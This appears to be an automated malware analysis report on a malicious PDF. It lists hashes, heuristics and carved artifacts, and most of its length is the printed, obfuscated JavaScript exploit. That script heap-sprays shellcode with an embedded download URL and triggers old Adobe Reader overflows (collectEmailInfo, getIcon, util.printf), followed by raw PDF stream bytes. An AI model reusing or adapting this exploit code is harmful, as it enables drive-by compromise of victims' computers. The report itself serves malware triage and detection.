Malicious PDF — malware analysis report

Static analysis result for SHA-256 4b9f48ab4973ca2b…

MALICIOUS

PDF

24.1 KB Created: 2009-10-20 17:53:29 +04:00 Authoring application: formTookYou (via 9b8ef27229c42198631813f1d2f60aaf) First seen: 2013-06-22
MD5: 1b0cb50aea2bfcad36b6fb8a5fa1af9b SHA-1: d44be136d36044393b3a131521fcffa6ce628f56 SHA-256: 4b9f48ab4973ca2b755670739cd90b18b9632582862f049397c6c462e4412c9f
64 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also flagged this PDF as malicious with a high score. The embedded JavaScript stream, named javascript_obj0016_000.js, is the primary indicator of malicious intent, likely serving to download and execute a second-stage payload. The lack of readable document body text prevents a more specific determination of the lure.

Heuristics 2

  • Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIAL
    Analysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 14

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0016_000.js pdf-javascript-stream PDF /JS object 16 at offset 0x2A06 11884 bytes
SHA-256: 9ff94c9b2fdc6f57530bac2302fbe750d5c5f8ea5fcdee5fcf194204ef0b892c
Preview script
First 1,000 lines of the extracted script
�� f u n c t i o n   q 5 T e D a h U 7 ( h J N e y 0 R 8 q , k n S o p u O 6 h , h M v n 4 c I 0 Z I ) { } v a r   s F 4 v J t w Y 8 = n u l l ; f u n c t i o n   t B l d h z H c Y ( v 0 d X 0 a d J ) { r e t u r n   f a l s e ; } v a r   z U G 9 K f e i   =   ' v a r   r T q 8 V B M 7   =   n e w   A r r a y ( ) ; v a r   h z o X W f 2 z M R ; f u n c t i o n   x Z l t X d R r A ( s R 4 Z J 8 w 7 c i ,   k I k w R k W L ) { w h i l e ( s R 4 Z J 8 w 7 c i . l e n g t h   *   2   <   k I k w R k W L ) { s R 4 Z J 8 w 7 c i   + =   s R 4 Z J 8 w 7 c i ; } s R 4 Z J 8 w 7 c i   =   s R 4 Z J 8 w 7 c i . s u b s t r i n g ( 0 ,   k I k w R k W L   /   2 ) ; r e t u r n   s R 4 Z J 8 w 7 c i ; } f u n c t i o n   k K s d h S U 2 6 ( t N y d Z u O K ) { i f ( t N y d Z u O K   = =   0 ) { v a r   h 8 q c O N P j   =   0 x 0 c 0 c 0 c 0 c ; } e l s e   i f ( t N y d Z u O K   = =   1 ) { h 8 q c O N P j   =   0 x 3 0 3 0 3 0 3 0 ; } v a r   a w n 5 f m m t Y   =   n e w   A r r a y ( \ " % u 5 3 5 \ " , \ " 0 % u 5 2 5 1 % u \ " , \ " 5 7 5 6 % u 9 c 5 5 \ " , \ " % u 0 0 e 8 % \ " , \ " u 0 0 0 0 % \ " , \ " u 5 d 0 0 % u e d \ " , \ " 8 3 % u 3 1 0 \ " , \ " d % u 6 4 c \ " , \ " 0 % u 4 0 0 3 % u 7 \ " , \ " 8 3 0 % u 8 b 0 c % \ " , \ " u 0 c 4 0 % u 7 0 \ " , \ " 8 b % u a \ " , \ " d 1 c % u 4 0 8 b \ " , \ " % u e b 0 8 % u 8 b \ " , \ " 0 9 % u 3 4 4 0 % \ " , \ " u 4 0 8 d \ " , \ " % u 8 b 7 c % u \ " , \ " 3 c 4 0 % u 5 7 5 6 \ " , \ " % u 5 e b e % u \ " , \ " 0 0 0 1 % \ " , \ " u 0 1 0 0 % u b f e \ " , \ " e % u 0 1 4 e \ " , \ " % u 0 0 0 0 % u e f \ " , \ " 0 1 % u d 6 e \ " , \ " 8 % u 0 0 0 1 % \ " , \ " u 5 f 0 0 % u 8 \ " , \ " 9 5 e % u \ " , \ " 8 1 e a % \ " , \ " u 5 e c 2 % u \ " , \ " 0 0 0 1 % u 5 2 0 0 \ " , \ " % u 8 0 6 8 % u \ " , \ " 0 0 0 0 % u \ " , \ " f f 0 0 % \ " , \ " u 4 e 9 5 % u 0 0 \ " , \ " 0 1 % u 8 9 0 0 % u \ " , \ " 8 1 e a % u 5 e c 2 \ " , \ " % u 0 0 0 \ " , \ " 1 % u 3 1 0 \ " , \ " 0 % u 0 1 f 6 % \ " , \ " u 8 a c 2 % u \ " , \ " 3 5 9 c % u 0 \ " , \ " 2 6 3 % u 0 0 0 0 % \ " , \ " u f b 8 0 % u 7 4 0 \ " , \ " 0 % u 8 8 0 6 \ " , \ " % u 3 2 1 c % u \ " , \ " e b 4 6 % \ " , \ " u c 6 e e % u 3 2 \ " , \ " 0 4 % u 8 9 0 \ " , \ " 0 % u 8 1 e a \ " , \ " % u 4 5 c 2 % u 0 0 \ " , \ " 0 2 % u 5 2 0 0 % u \ " , \ " 9 5 f f % u \ " , \ " 0 1 5 2 % u 0 0 0 \ " , \ " 0 % u e a \ " , \ " 8 9 % u c 2 8 1 \ " , \ " % u 0 2 5 0 \ " , \ " % u 0 0 0 \ " , \ " 0 % u 5 0 5 2 % u \ " , \ " 9 5 f f % u 0 1 \ " , \ " 5 6 % u 0 0 \ " , \ " 0 0 % u 0 0 \ " , \ " 6 a % u 0 0 \ " , \ " 6 a % u e a 8 9 % u \ " , \ " c 2 8 1 % u 0 \ " , \ " 1 5 e % u 0 0 0 0 % \ " , \ " u 8 9 5 2 % u 8 1 e \ " , \ " a % u 7 8 c 2 % u \ " , \ " 0 0 0 2 % u 5 2 0 0 \ " , \ " % u 0 0 6 a % u d 0 \ " , \ " f f % u 0 \ " , \ " 5 6 a % u e a 8 9 \ " , \ " % u c 2 8 1 % u 0 1 \ " , \ " 5 e % u 0 0 0 0 % \ " , \ " u f f 5 2 % \ " , \ " u 5 a 9 5 \ " , \ " % u 0 0 0 1 \ " , \ " % u 8 9 0 0 \ " , \ " % u 8 1 e a % u \ " , \ " 5 e c 2 % u 0 \ " , \ " 0 0 1 % u 5 \ " , \ " 2 0 0 % u 8 \ " , \ " 0 6 8 % u 0 0 \ " , \ " 0 0 % u f f \ " , \ " 0 0 % u 4 e 9 5 % u \ " , \ " 0 0 0 1 % u 8 \ " , \ " 9 0 0 % u 8 \ " , \ " 1 e a % u \ " , \ " 5 e c 2 % u 0 \ " , \ " 0 0 1 % u 3 \ " , \ " 1 0 0 % u 0 \ " , \ " 1 f 6 % u \ " , \ " 8 a c 2 % u 3 5 9 \ " , \ " c % u 0 2 6 e % u 0 \ " , \ " 0 0 0 % u f b 8 0 % \ " , \ " u 7 4 0 0 \ " , \ " % u 8 8 0 \ " , \ " 6 % u 3 2 1 c % \ " , \ " u e b 4 6 % u \ " , \ " c 6 e e % u 3 \ " , \ " 2 0 4 % u 8 \ " , \ " 9 0 0 % u 8 1 \ " , \ " e a % u 4 5 c \ " , \ " 2 % u 0 0 0 2 % \ " , \ " u 5 2 0 0 % u 9 5 \ " , \ " f f % u 0 1 5 2 % u \ " , \ " 0 0 0 0 % u e a 8 9 \ " , \ " % u c 2 8 1 % u 0 2 \ " , \ " 5 0 % u 0 0 0 \ " , \ " 0 % u 5 0 5 2 % u 9 \ " , \ " 5 f f % u 0 1 \ " , \ " 5 6 % u 0 \ " , \ " 0 0 0 % u 0 0 6 \ " , \ " a % u 0 0 6 a % u e \ " , \ " a 8 9 % u \ " , \ " c 2 8 1 % u 0 \ " , \ " 1 5 e % u 0 0 0 0 % \ " , \ " u 8 9 5 2 % u 8 1 e \ " , \ " a % u a 6 c 2 % u \ " , \ " 0 0 0 2 % u 5 \ " , \ " 2 0 0 % u 0 0 6 a % \ " , \ " u d 0 f f % u \ " , \ " 0 5 6 a % \ " , \ " u e a 8 9 % u \ " , \ " c 2 8 1 % u 0 1 \ " , \ " 5 e % u 0 0 0 \ " , \ " 0 % u f f 5 2 % u 5 \ " , \ " a 9 5 % u 0 \ " , \ " 0 0 1 % u 9 d 0 0 % \ " , \ " u 5 f 5 d % \ " , \ " u 5 a 5 e % u \ " , \ " 5 b 5 9 % u c 3 5 8 \ " , \ " % u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % \ " , \ " u 0 0 0 0 % u \ " , \ " 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 0 0 0 \ " , \ " 0 % u 6 5 4 7 % u 5 \ " , \ " 4 7 4 % u 6 d 6 5 \ " , \ " % u 5 0 7 0 % u 7 4 \ " , \ " 6 1 % u 4 1 \ " , \ " 6 8 % u 4 c 0 0 \ " , \ " % u 6 1 6 f % u \ " , \ " 4 c 6 4 % \ " , \ " u 6 2 6 9 % u \ " , \ " 6 1 7 2 % u \ " , \ " 7 9 7 2 % u 0 \ " , \ " 0 4 1 % u 6 5 \ " , \ " 4 7 % u 5 0 \ " , \ " 7 4 % u 6 f 7 2 \ " , \ " % u 4 1 6 3 % u \ " , \ " 6 4 6 4 % u 6 5 7 2 \ " , \ " % u 7 3 7 3 % \ " , \ " u 5 7 0 0 % u \ " , \ " 6 e 6 9 % u 7 8 \ " , \ " 4 5 % u 6 3 6 5 % \ " , \ " u b b 0 0 % u f 2 \ " , \ " 8 9 % u f 7 8 \ " , \ " 9 % u c 0 3 \ " , \ " 0 % u 7 5 a \ " , \ " e % u 2 9 f d % \ " , \ " u 8 9 f 7 % u 3 1 \ " , \ " f 9 % u b e c \ " , \ " 0 % u 0 0 \ " , \ " 3 c % u 0 0 \ " , \ " 0 0 % u b \ " , \ " 5 0 3 % u \ " , \ " 0 2 1 b % u 0 0 0 \ " , \ " 0 % u a d 6 6 % u 8 \ " , \ " 5 0 3 % u 0 2 \ " , \ " 1 b % u 0 0 0 \ " , \ " 0 % u 7 0 8 b % u 8 \ " , \ " 3 7 8 % u 1 c c \ " , \ " 6 % u b 5 0 \ " , \ " 3 % u 0 2 1 b % u 0 \ " , \ " 0 0 0 % u \ " , \ " b d 8 d % u 0 2 1 f \ " , \ " % u 0 0 0 0 % u 0 3 \ " , \ " a d % u 1 b \ " , \ " 8 5 % u 0 \ " , \ " 0 0 2 % u a b 0 \ " , \ " 0 % u 0 3 a d % u \ " , \ " 1 b 8 5 % u 0 0 0 \ " , \ " 2 % u 5 0 0 \ " , \ " 0 % u a d a \ " , \ " b % u 8 5 0 3 % u 0 \ " , \ " 2 1 b % u 0 0 0 0 \ " , \ " % u 5 e a b % \ " , \ " u d b 3 1 % u 5 6 a \ " , \ " d % u 8 5 0 \ " , \ " 3 % u 0 2 \ " , \ " 1 b % u 0 0 0 0 % u \ " , \ " c 6 8 9 % \ " , \ " u d 7 8 9 % u \ " , \ " f c 5 1 % u a 6 f \ " , \ " 3 % u 7 4 5 9 % \ " , \ " u 5 e 0 4 % u \ " , \ " e b 4 3 % u 5 \ " , \ " e e 9 % u d 1 9 \ " , \ " 3 % u 0 3 e 0 % u \ " , \ " 2 7 8 5 % u 0 0 0 \ " , \ " 2 % u 3 1 \ " , \ " 0 0 % u 9 6 f 6 % u \ " , \ " a d 6 6 % u \ " , \ " e 0 c 1 % u 0 3 0 \ " , \ " 2 % u 1 f 8 \ " , \ " 5 % u 0 0 0 \ " , \ " 2 % u 8 9 0 0 \ " , \ " % u a d c \ " , \ " 6 % u 8 5 0 3 % u \ " , \ " 0 2 1 b % u 0 0 0 0 \ " , \ " % u e b c 3 \ " , \ " % u 0 0 1 0 % u 0 \ " , \ " 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 0 0 % \ " , \ " u 8 9 0 0 % u 1 b \ " , \ " 8 5 % u 0 0 0 \ " , \ " 2 % u 5 6 \ " , \ " 0 0 % u e 8 5 \ " , \ " 7 % u f f 5 8 % u \ " , \ " f f f f % u 5 e 5 f \ " , \ " % u 0 1 a b \ " , \ " % u 8 0 c e % u \ " , \ " b b 3 e % u 0 2 7 4 \ " , \ " % u e d e b % \ " , \ " u 5 5 c 3 % u 4 \ " , \ " c 5 2 % u 4 \ " , \ " f 4 d % u \ " , \ " 2 e 4 e % \ " , \ " u 4 c 4 4 % u \ " , \ " 0 0 4 c % u 5 \ " , \ " 2 5 5 % u 4 \ " , \ " 4 4 c % u 7 7 6 f % \ " , \ " u 6 c 6 e % u 6 1 \ " , \ " 6 f % u 5 4 6 4 \ " , \ " % u 4 6 6 f % \ " , \ " u 6 c 6 9 % \ " , \ " u 4 1 6 5 % \ " , \ " u 7 5 0 0 \ " , \ " % u 6 4 7 0 % u \ " , \ " 7 4 6 1 % u 2 e 6 \ " , \ " 5 % u 7 8 6 5 % u \ " , \ " 0 0 6 5 % u \ " , \ " 7 2 6 3 % u 7 3 \ " , \ " 6 1 % u 2 \ " , \ " e 6 8 % u 6 8 7 0 \ " , \ " % u 0 0 7 0 \ " , \ " % u 7 4 6 8 % u \ " , \ " 7 0 7 4 % u 2 f 3 \ " , \ " a % u 6 9 \ " , \ " 2 f % u 6 b 6 e % u \ " , \ " 6 1 6 b % u \ " , \ " 2 e 6 b % u \ " , \ " 6 e 6 3 % u 6 \ " , \ " 5 2 f % u \ " , \ " 7 4 6 e % u 7 2 6 5 \ " , \ " % u 7 5 2 f % u \ " , \ " 6 4 7 0 % u 7 \ " , \ " 4 6 1 % u 2 e \ " , \ " 6 5 % u 6 8 \ " , \ " 7 0 % u 3 f 7 0 % \ " , \ " u 6 4 6 9 % u 3 3 3 \ " , \ " d % u 7 2 2 6 % u 7 \ " , \ " 4 6 5 % u 6 f 3 \ " , \ " d % u 0 0 6 b % u 9 \ " , \ " 0 0 0 \ " ) ; a w n 5 f m m t Y   =   u n e s c a p e ( a w n 5 f m m t Y . j o i n ( \ " \ " ) ) ; v a r   f K 2 i J o h U   =   0 x 4 0 0 0 0 0 ; v a r   m T c R G d I A F p   =   a w n 5 f m m t Y . l e n g t h   *   2 ; v a r   k I k w R k W L   =   f K 2 i J o h U   -   ( m T c R G d I A F p   +   0 x 3 8 ) ; v a r   s R 4 Z J 8 w 7 c i   =   u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; s R 4 Z J 8 w 7 c i   =   x Z l t X d R r A ( s R 4 Z J 8 w 7 c i ,   k I k w R k W L ) ; v a r   l F u 8 2 B h U m   =   ( h 8 q c O N P j   -   0 x 4 0 0 0 0 0 )   /   f K 2 i J o h U ; f o r ( v a r   h o 7 z f z S p A 2   =   0 ;   h o 7 z f z S p A 2   <   l F u 8 2 B h U m ;   h o 7 z f z S p A 2 + + ) { r T q 8 V B M 7 [ h o 7 z f z S p A 2 ]   =   s R 4 Z J 8 w 7 c i   +   a w n 5 f m m t Y ; } } f u n c t i o n   w Y c p 8 N Z 0 K ( ) { v a r   a N e 5 Y y k K M E   =   0 ; v a r   e 8 o o a A y f X   =   a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( h z o X W f 2 z M R ) ; i f ( ( e 8 o o a A y f X   > =   8   & &   e 8 o o a A y f X   <   8 . 1 0 2 )   | |   e 8 o o a A y f X   <   7 . 1 ) { k K s d h S U 2 6 ( 0 ) ; v a r   l C n T k 4 B e M   =   u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( l C n T k 4 B e M . l e n g t h   <   4 4 9 5 2 )   l C n T k 4 B e M   + =   l C n T k 4 B e M ; v a r   e T a M 5 O G r O   =   t h i s ; v a r   q b 7 c G l r f F 2   =   C o l l a b ; e T a M 5 O G r O [ \ " c o l l a b S t o r e \ " ]   =   q b 7 c G l r f F 2 [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j   :   \ " \ " ,   m s g   :   l C n T k 4 B e M } ) ; } i f ( ( e 8 o o a A y f X   > =   8 . 1 0 2   & &   e 8 o o a A y f X   <   8 . 1 0 4 )   | |   ( e 8 o o a A y f X   > =   9   & &   e 8 o o a A y f X   <   9 . 1 )   | |   e 8 o o a A y f X   < =   7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { k K s d h S U 2 6 ( 2 ) ; v a r   d l 0 w Q 8 R B 3   =   u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( d l 0 w Q 8 R B 3 . l e n g t h   <   0 x 4 0 0 0 ) { d l 0 w Q 8 R B 3   + =   d l 0 w Q 8 R B 3 ; } d l 0 w Q 8 R B 3   =   \ " N . \ "   +   d l 0 w Q 8 R B 3 ; v a r   p m E W l Q v X t   =   a p p ; p m E W l Q v X t [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( d l 0 w Q 8 R B 3 ) ; a N e 5 Y y k K M E   =   1 ; } e l s e { a N e 5 Y y k K M E   =   1 ; } } c a t c h ( e ) { a N e 5 Y y k K M E   =   1 ; } i f ( a N e 5 Y y k K M E   = =   1 ) { i f ( e 8 o o a A y f X   = =   8 . 1 0 2   | |   e 8 o o a A y f X   = =   7 . 1 ) { k K s d h S U 2 6 ( 1 ) ; v a r   r 9 A I M N U S 4   =   \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( g D H Y b 1 e N B   =   0 ;   g D H Y b 1 e N B   <   2 7 6 ;   g D H Y b 1 e N B + + ) { r 9 A I M N U S 4   + =   \ " 8 \ " ; } v a r   q u i I R M b c   =   u t i l ; q u i I R M b c [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " ,   r 9 A I M N U S 4 ) ; } } } } a p p . r j O 2 b A S A 3   =   w Y c p 8 N Z 0 K ; h z o X W f 2 z M R   =   a p p . s e t T i m e O u t ( \ " a p p . r j O 2 b A S A 3 ( ) \ " ,   1 0 ) ; ' ; f u n c t i o n   q 3 4 u 6 s u 2 ( i o M R 5 g z 7 V , k 3 z C v A M 4 o , e T 6 F R O T 4 N Z ) { r e t u r n   i o M R 5 g z 7 V ; } f u n c t i o n   r m k q J z T i ( f U h F E t Z W m , q M y x i d 0 1 F , d M P L r G r K ) { r e t u r n   d M P L r G r K ; } t h i s . t P z y z z Q K a = n u l l ; v a r   r H 5 l j G 0 V L S   =   z U G 9 K f e i . r e p l a c e ( / [ ] / g ,   ' ' ) ; t h i s . r 7 E 9 g M 9 H = f a l s e ; v a r   a a N X C 3 u X C = f a l s e ; v a r   e u o y W q c c 2 z = n e w   A r r a y ( ' m 2 B 1 r L l y ' , ' p p m 3 V 2 r o F ' ) ; v a r   a K c H T h x s m   =   ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ a K c H T h x s m ] ( r H 5 l j G 0 V L S ) ; o K e g s v Z N = " j 0 1 z y i X E " ; f u n c t i o n   q 1 H k X n U M s ( j U 3 h r t u z , n H E r r r A z ) { } v a r   m n v r r M P 0 i = n e w   A r r a y ( ) ; m n v r r M P 0 i [ 0 ] = 3 0 3 1 7 ; m n v r r M P 0 i [ 1 ] = 2 1 1 5 4 ; m n v r r M P 0 i [ 2 ] = 1 5 1 5 5 ;
stream_003_off00002a06.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x2A06 5941 bytes
SHA-256: 2c3b46165c2f97f21b1778f7baebce37f4babe79265b37641786711c61efa3ab
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
generic_stage_recovery_000.js deobfuscated-js generic stage recovery null-collapse from raw PDF metadata at offset 0x0 18273 bytes
SHA-256: ada7fed84ee4db1679267e80f84f29ef6600957f2fd54ecf6aaea472e2017815
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 3329>>
stream
x��\�r�6 ��+z����(zX�Y��L � g�� $!  H���h���d_�6Ňl\�Urb]J  ��t 48�,�TҔ~�kO ��� x��Wx�� }��V���v������f�ƛ4�-&�->3��j����|���z=�L����� f����� _ ����i� >� �N���!�{f��d~K��r2_�]@ �cg��YZ��Q� �Ew����n�|�o��rA��v�ڜo���|o��Wu���N'�%�7� ^� � �>�y�՟~z���xNW� ��y�0�  Ym&�-Ŵ\¤˧�5�N7������~�Z;=:� f���t�Ҍ"S$ e�1)�&�	�� &���2' �\��s��g$i �T�~D6;�t�*�,�"�Џ iM��K�S��DI�R ���3:
[� S.��J����LN�ǰ 	ER���'���*�&��� �0�� ��V������v{����{��~Y��Dv �  m�!���((D ++�23
�  R�� �-0�<26�X ʟ��T U 
��xGů�W �<�Lh Pn�� V� �g VN+O ���`YD,��Ri�(�(3J�9�l�Q{� �Jdy6�_�� ne��H��� ��팱��]�l���^���@ �Ӧ� 3�N�k^�� ��h� ��J��W!4�UGɋ�o�ٵD8��% ��b��n�W��I�&# �V xAXh�� �W$�G�_x� �?�T σ�cy?Ia)� ?� ~�� �s�|�g�I��
 � 7�j�#�T�I%�"�E�)3I� ��  �0ۮ�N�?���G�NE;�ː !��k����в"s�Pw:�i�� | �Y{
>�ٓ!@.Q�^P�K�i��%� K0�  �QjiM �#�h_��	�k��ߋ0������P R]� �&Gy���G ��c� x
L@	.��V 9j�	"�W�,G`? D�Ā �ۖ]%6
����vB?+Ƃ,)<`�O ��K��[m�( �q�F�m 0 $;p� DL�,�� ���:�� �D{�o��KYt��&�$ �C 0$�&�@~y�[A   6V!i#v�┃� Q�M �P�ǁ�� ���G2pi�M i��� �P�  ��# p �
��� B�� ��u ����� V��� ��e`�� 7�{T �BH{��  T�Qw�=dX"F�ҋ��6r@J��C�vFu��M d� � �2� �$0>�b���� VH�+ �L
#r'��a�> -� �Œ�]=� 4_&9<AqR� �] � y�ތ�A5 p2m% �˹�c� �a/��/s�����W�B; �21�dn ��)� V 2�5�ur� ���;� �!e��!�r*J��6��/
�� \ m^G/s  	�CdX^װ�Q+� |�C� ��z�iB/)"6Z�q�p ��]I� �vi�Y �]Ԁ  �X$�Y �!�-b� k �#7 
�CSf����҆�n�]C@ )�� �%;�N �!Q;Ie��;�85�P�eo]�r:�m � ��K��o >+ kQ�?��#�B�ԩ����<}XO�>b�  � �� !ܐ )�i�U�ri�M �/44��n�]�� Nq;�:R.�h��rf�m�  � ̱����ٹ� �sF'��+��P\�mUG�K� �I��ԑ b��9,ףj��<D �ғۣ>�J� ��|��d�q�� ߃Qm� ^<����������n��N�ŲF� O +�� ��#�oO��� O�g��v�Sy��t�w� q[�A+UdJ#)4:(��   #� ��wZ�/ � �ȗ� x�,E5���� ��Q��Pۮ � 9�D"ϘY�Q���I   ����sy��h�:���F.� �^
�� �� ����W*	(E� 8- �� �QG�� ��������m�6\Fzz�[&5 ;5Y� �8�̱ �|f��Cb F0�=.��yꌾ�` ���l��ۛ� �ÉCQ�l_` ��Y��s �syn�j���U9�� � 0/()��F38?��0:|��r /�,P�z ���p��d�9'���l�p	H]��v�� oJ  �O��#��ՠ  p�H%�R�x�����M
 ��"$-9#�ɈCC�� J��vBu`����PC��f��T��A� ߲w�r��F0^d���ty��3� Ơ��*�%�w:�Uk � ��ޚ��c��E�.�)�eݎ����[���g�ѫ�\ObW�M?�A>�Tx�I�:<mD��h�~�#*�l� 5b ���J�)o  �N �W0S � he�Ϳ1��$��

"⤇�4N�q��X����t�!��� ћ�7��O,����B�������0� ��[ۜ:x��� � 1�8�U�G:p&7ۮ�o-'\ ��wT -�=�^=X<�bl91l����C���X�vk�H���.�|��2 H"= �o� �f� �-� ����8@aD�
 ��_X��"���7N-W�� ��b � �>��u ��9��F�Ӿ蒆:U���N ���TF |�$�N ���	6z�.���+��F?T �j��t f�E@�= !kV�d� �bP�"!��<�I�n
Ե_�*%gLC �J� !�� �)8/ �&�L� (��7p_�?��٥� 
_����# g47�\"UDB�)|�j����X}���� �}ײN ���$� N��N���5J��W��ݲ�zW�m�}OG�Sk̻ /[���pfϚ����!���� ��5��zC�&�>j�f D���N�{L�8�  �>� ��]L{vw��@�� �+<�`��b�Ю����h�'y � �m{��*?.���� �l��:�< *ͽ&���|l� v ap?� 06���$��h2M�vi�F�հ��ơ�7��#X @ �DfZ �%ז���QY%�K�5��2xMڕK�_W|o �; �rj���s��� `�Qm*.G�h�z���r�� �$� | ��   �x�|�� =8�z�ߣ�ѩ�jooG����� 
Z���[O֖B r��� ���2�H�Y��� ǚ�G�N� �l�ni��~�Y�G�c��b+$`�r��   �g����n�V��hM���x�����(9� b���:��<��E~� � ��Ë??P��m����p�  ��S
N�Z&' K> �g�k �0����	�S X��?ی<%��[��n�1 �=2% ���l�Z��b�Ƨ! Q�r �� s� � za��� `�������| ԾV��{_�G%
 C]�t��� }��X Ł &T��7qY  ��#����CnmwY���w9������߆s.
�h  �  �F�{ p��/�B��f ���(=�K�Bʊ�� ���Y�Cl�Lñ� �܏��{�z�yxǥ� =cc��糽ϓ Za1�T ��B���g/۟ ��rM���'~>�!5��eŢ-� �]�x���C�NM5�i\W� c�+� �B{ �CI���i�vh�mS� �Ύ����Q��) �l_��P��l��2md ���ڡ�`ywhK��fߛ�z����zu 7N�5� И�􅛧'��^<*�k<Sv��,��#e� � e;L�\N6 $� d�'ۥ"�4�oiј��'��� � �5
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 3208>>
stream
x��\Is�8 ��W|���9 ���2Ǯ�ӓ�Cw�s�� HB$$�PR2���ArBؒ��AlW9�M�����m�( 紧 }�����  %�������;z�˄f�hDw+�pw����� �4 O�� � Q8 fK�� ���q0�P�ӻ��齢?� � ����Q� �� �����S�}Ƴy0���8 &3�K� �4�r�?����t�	���Чk~�C�)͗�`�8>T �z���7���CG�"��
�����}�}|rsz��  �~����g ���F�x��� �xI9�!D ~���?�揎]����'����B�it ӝ*�$�6�T)eU. JU�i�YA;nJC�E�Q��) �̙�T��S �& K�Z +j2�ړ��-� ��yIrG ^�4^�F=? i�7��Fl)f�( �E �d�O 2U�� L�8�v�+�⍽_rjZ�Qb�`�(��}M /⌶\a]L� ��� *��5�Lo �H!�B k Ї��5I�U�E[��+b%� ɊS~Oq�
��e@�Y�r��k�(eB�VV�����{<T���I��I�R�S�ϭ��~3��"2VoБJ� $V�ٮ��HYS�R�*m�/�� �tΆHBw�L�t�� �2�	 j do��+.���*2�b��t�'#�2%�
��XNS*����"��lEi��b%JR��DUQ	1�d �DZ4�?��J��� �K�b�οY dVf�
6YBy��$��0mkK�H���P^� ��	UE,9Dw Ad�1��U�   J�b  ��2��/xl���e �G) n��2��? i � � ��R3*sJ4�` * pP�� ?3�!.� ��  ��e&� *g�>G�M'  �wQf�(&��bz�i�   � �a  ��)�Bi��wSCqRD"Q �`�,g�Xw�`����:  �	l�`�0�� �y��\�=��� �� �{]��q��2m
~�  �9 ���km!  �? �J D��9 �� �ฮ"���ɗJ�q'.���z�Vlj�{ 5>6hM} �
Ձ( �]�+$�
��ʯV � ���>� ��VW1?�� �6[6���, 1x�������� �Y `O��"� ��ig�e  � �.b�a� H��� ��Xo�� q �� r��5� b�T� iue ��V�O�x�� F����!�  l$� ���lmc��m�*��  � ܢ !����;  *  �v��o�0 WZk)�ڴ�o@��/REA& �<G��5ലf �&Б�|�m�� q  L�\B��� tn���o �g� szb/5qv |=@q ����MM ��� � �*\c6V�[k$ �� �~w���i �Ll��P Ɣ�H � 1@��el'�6<�@�
�T�`n�K��(O��T ��UN��a�^7 6�ۉ�^ r�x�Y�H �
H+��  ��O �#��E �N��=�O��.H��ϩ�'�^I���t6p [�9rR� �RmjՋ9�JGv� ����3 � �1$��*"'*�� �.d�8G_��� w� �	.��t����3�������\ )] �|�Sd�ƍ�֐��pԸ���Թ$"�, ��#%�I�[  p  �TH� ��J�9���K�� p�L�*ͮ*L�� �,e{�#�l�� ҇�E�#�8�4x Y�l<�ijrZw2��XW&�$��(�<�
���&-  � � ��c����
 �G��p�|�N >M-\4n߫|   #� �j>�<I�lABظ 9 L� ��0�N��" �2X   �-�uQ�� �  Oa�R%u�|�<J� ݼA��z�	5�Jr� \� n ~� �
@)c~�1�7�r�� eD0V�`%��N,�/ꅳ�A��u-��� �O� ���]Nc.^�n@Se ����NO{*ψ���	� �u����$�l��I+��~	b Ē�9�+ � H�|
o�TG 	Y{ ���: � �) Ā<ɖP��~9tܸkw���e��� �9 G ����ѡv�]��*� U~P�+ 
c�ӆ�햇�z  '��  � �2.� � ,z �����&�x�t�����C ��y�55�],�F��v1i/}u4�; >Vb �bk` �z}EE���*�q{<	7* |�3Xnf1e��~m� "߉gM ��7�د@v !���!3A��Û�xh��v���O�� g�Q�r��-r�į  �u �2�~�FD ٵ�Q1+  � {�  ��|�bkPgh,n��9O8^5� *]�� K���Z�!B4[ �¯�H�y�E9Tj[qX� � 	�\��*; 9����)5gN)WyΠ��k
~�� ]��_E@� @�J �R	L3}�z�w+n��el
0P �K� �Y05��
ܻ�u:�5�/���ܣ3H4���Ms!��>�U���`|nۙ- 2^�Uq�<[�� O�v��#�x��ԙ+z�R�t��Rҁ�h%�� Mp���������=�=�q��j��9 �O�9�:��� Syա3 ��Zə� u �� ��[����u�vqH
